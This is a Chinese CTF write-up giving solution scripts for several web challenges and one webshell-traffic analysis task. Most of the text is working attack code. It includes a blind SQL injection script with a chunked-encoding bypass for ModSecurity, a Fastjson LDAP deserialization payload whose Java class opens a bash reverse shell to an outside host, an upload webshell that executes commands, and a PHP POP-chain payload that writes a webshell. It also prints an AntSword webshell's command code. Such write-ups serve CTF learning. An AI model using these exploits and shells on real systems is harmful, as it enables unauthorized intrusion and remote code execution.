# 高校y [toc] # web ## ezcms 等官方修复了再放 ## ezbypass 使用Nday 绕disable_functions https://www.exploit-db.com/exploits/47462 ## ezwaf Mod security 可参考这个https://hostadvice.com/how-to/how-to-setup-modsecurity-for-apache-on-ubuntu-18-04/ 但是不要增加最后那两行。 通过访问?src= 即可看到源码,从源码可以看到虽然对参数做了mysqli_real_escape_string 但是age 是个整数,只要不存在引号就行了。后来测试了一下,sqlmap 直接就能跑出来了,为了增加点难度我加了个waf,mod_security。需要找到绕waf 的方法。利用这篇文章https://www.anquanke.com/post/id/169738提到的方法可以绕waf。 下面是利用脚本 ```python #!/usr/bin/env python3 import socket socket.setdefaulttimeout(2) tmp = """GET /?age=payload HTTP/1.1 Host: 111.186.57.117:43426 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 7 Transfer-Encoding: chunked a=hhh """ flag = "" sql = "select user()" sql = "select database()" sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()" #flag_xdd sql = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c61675f786464" #flag_32122 sql = "select flag_32122 from flag_xdd limit 1" for i in range(1, 64): for j in range(256): try: client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect(("111.186.57.117",43426)) payload = "1 or if(ascii(substr((%s), %d, 1))=%d, sleep(4), 0)"%(sql, i, j) # print(payload) payload = payload.replace(" ", "%20") tmp1 = tmp.replace("payload", payload) data = tmp1.replace("\n", "\r\n") # print(repr(data)) # input() client.send(data.encode()) response = client.recv(4096) # print(response) except Exception as e: print(e) flag += chr(j) print(flag) ``` ## ezjava Fastjson 的反序列化, jdk用的是`jdk1.8.0_181` 不能使用rmi,需要使用ldap。另外还有个坑就是可能需要将hostname修改为外网ip。 服务器端执行: ``` java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://202.120.7.206:8080/#EvilObject ``` 服务器端执行: ``` python3 -m http.server 8080 ``` `EvilObject.java` 然后用`javac EvilObject.java` ```java public class EvilObject { public EvilObject(){ try{ String[] cmd = {"/bin/bash", "-c", "bash -i >& /dev/tcp/yourvps.ip/9898 0>&1"}; java.lang.Runtime.getRuntime().exec(cmd); }catch (Exception e){ e.printStackTrace(); } } } ``` payload ```json {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://yourvps.ip:1389/EvilObject","autoCommit":true}}} ``` ## ezupload ```python #!/usr/bin/env python3 import requests s = requests.Session() debug = False def login(): url = 'http://111.186.57.61:10501/login.php' headers = {'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'} data = {'username':'xxxx'} proxies = {'http':'http://127.0.0.1:8080'} if debug: r = s.post(url, data=data, headers=headers, proxies=proxies) else: r = s.post(url, data=data, headers=headers) print(r.text) def upload(): url = 'http://111.186.57.61:10501/upload.php' headers = {'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'} data = {'name':'username'} files = [('avatar', ('x.phtml', open('bqb2.jpg', 'rb'), 'image/png'))] proxies = {'http':'http://127.0.0.1:8080'} if debug: r = s.post(url, data=data, files=files, headers=headers, proxies=proxies) else: r = s.post(url, data=data, files=files, headers=headers) print(r.text) def excute(cmd): url = "http://111.186.57.61:10501/uploads/x.phtml" r = s.get(url, params={"c":"system('%s');"%cmd}) print(r.text) if __name__ == "__main__": login() upload() excute("/readflag") ``` ## ezpop ```python #!/usr/bin/env python3 import requests import base64 debug = False url = 'http://111.186.57.43:10401/' def upload(): cookie = 'xxx' headers = {'Cookie':cookie, 'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'} data = base64.b64decode(b"TzoxOiJBIjo1OntzOjg6IgAqAHN0b3JlIjtPOjE6IkIiOjI6e3M6Nzoib3B0aW9ucyI7YTozOntzOjY6InByZWZpeCI7czo1NDoicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0uL3VwbG9hZHMvIjtzOjk6InNlcmlhbGl6ZSI7czo5OiJzZXJpYWxpemUiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czoxMDoid3JpdGVUaW1lcyI7aTowO31zOjY6IgAqAGtleSI7czo3OiJ4eHgucGhwIjtzOjk6IgAqAGV4cGlyZSI7aToxMjM7czo4OiJhdXRvc2F2ZSI7YjowO3M6NToiY2FjaGUiO2E6MTp7aTowO3M6MzY6IlBEOXdhSEFnYzNsemRHVnRLQ1JmUjBWVVd6RmRLVHMvUG1abSI7fX0=") params = {'data':data} proxies = {'http':'http://127.0.0.1:8080'} if debug: r = requests.get(url, params=params, headers=headers, proxies=proxies) else: r = requests.get(url, params=params, headers=headers) print(r.text) def execute(cmd): r = requests.get(url+"/uploads/xxx.php", params={"1":cmd}) print(r.text) if __name__ == "__main__": upload() execute("cat /flag*") ``` ```php <?php // error_reporting(0); class A{ protected $store; protected $key; protected $expire; public function __construct() { $this->autosave = false; $this->key = "xxx.php"; $this->store = new B(); $this->expire = 123; $this->cache = ["PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/PmZm"]; } public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; } public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); } public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); } public function __destruct() { if (! $this->autosave) { $this->save(); } } } class B{ public $options; public function __construct() { $this->writeTimes = 0; $this->options["prefix"] = "php://filter/convert.base64-decode/resource=./uploads/"; $this->options['serialize'] = "serialize"; $this->options['data_compress'] = false; } protected function getExpireTime($expire): int { return (int) $expire; } public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; } protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); } public function set($name, $value, $expire = null): bool { $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { // 创建失败 } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; echo $data; echo $filename; $result = file_put_contents($filename, $data); if ($result) { return true; } return false; } } $dir = "uploads/"; if (!is_dir($dir)) { mkdir($dir); } $a = new A(); $s = serialize($a); echo base64_encode($s); ``` # misc ## Webshell 蚁剑流量分析 ```php @ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){@session_start();$key='f5045b05abe6ec9b1e37fafa851f5de9';return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));};;function asoutput(){$output=ob_get_contents();ob_end_clean();echo "8c2b4";echo @asenc($output);echo "e2e10";}ob_start();try{$p=base64_decode($_POST["0x1b4d456c7297d"]);$s=base64_decode($_POST["0xb9b45688a5a08"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runcmd($c){$ret=0;if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join(" ",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp, 2048));}@pclose($fp);}elseif(fe('antsystem')){@antsystem($c);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); ``` 从上面可以看到返回值使用了aes加密,可用下面脚本解密 ```php <?php $key = "f5045b05abe6ec9b1e37fafa851f5de9"; $enc = "kRD1eD+vSZ81FAJ6XClabCR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dZOTFg4DW9MYwG6k3rEvAAR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJHygVK0ad8xG1Qk6pzSaCiR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJ1qI47Cz1/qfnNoNARGhLfVhC0RJlfeKCvbPwpjFn//BSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93FIVjxEmVnLHPVr5M/LQPdxSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93GnMvJfVbvphfWnt17IOkzYjvv91k2fnYDR7u4nlGM3YitxGYGs9mn+HS5iJBXORtYrcRmBrPZp/h0uYiQVzkbWK3EZgaz2af4dLmIkFc5G1itxGYGs9mn+HS5iJBXORtUq4dBjDRFhDqDyzs9CScJhrd3yMusQ+qsnZkq4Ey7NVJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l2hDPuDhVN4TaDLzp9bXyfGeCVhvglAaNo2rA/ovnRTTtfA5ZywMOOijj6md5RItqjXwOWcsDDjoo4+pneUSLao18DlnLAw46KOPqZ3lEi2qNfA5ZywMOOijj6md5RItqgS0b9hS7r5TX9YNZo2awgUAyqVacVgwr1NlNQ2k/kihhh0QQfnjeGdZhkz0N0jAKiMzFmAMa7xQ1URxTaHoHjDg3NaWl/8+PVG+pyaKrbNDjfl77POeQE8+0MCHpz6YxWLJ6mwCe1X3uzz/HSHcHSvQBB8FxjOhugOErOXkd3LZi/60Gr4gIEc1JIxA5A2pE/V6Z/DFwNOR4M/IIIWdGr5"; $msg = openssl_decrypt(base64_decode($enc), 'AES-128-ECB', $key, OPENSSL_RAW_DATA); echo $msg; $msg = base64_decode($msg); echo base64_decode($msg); ```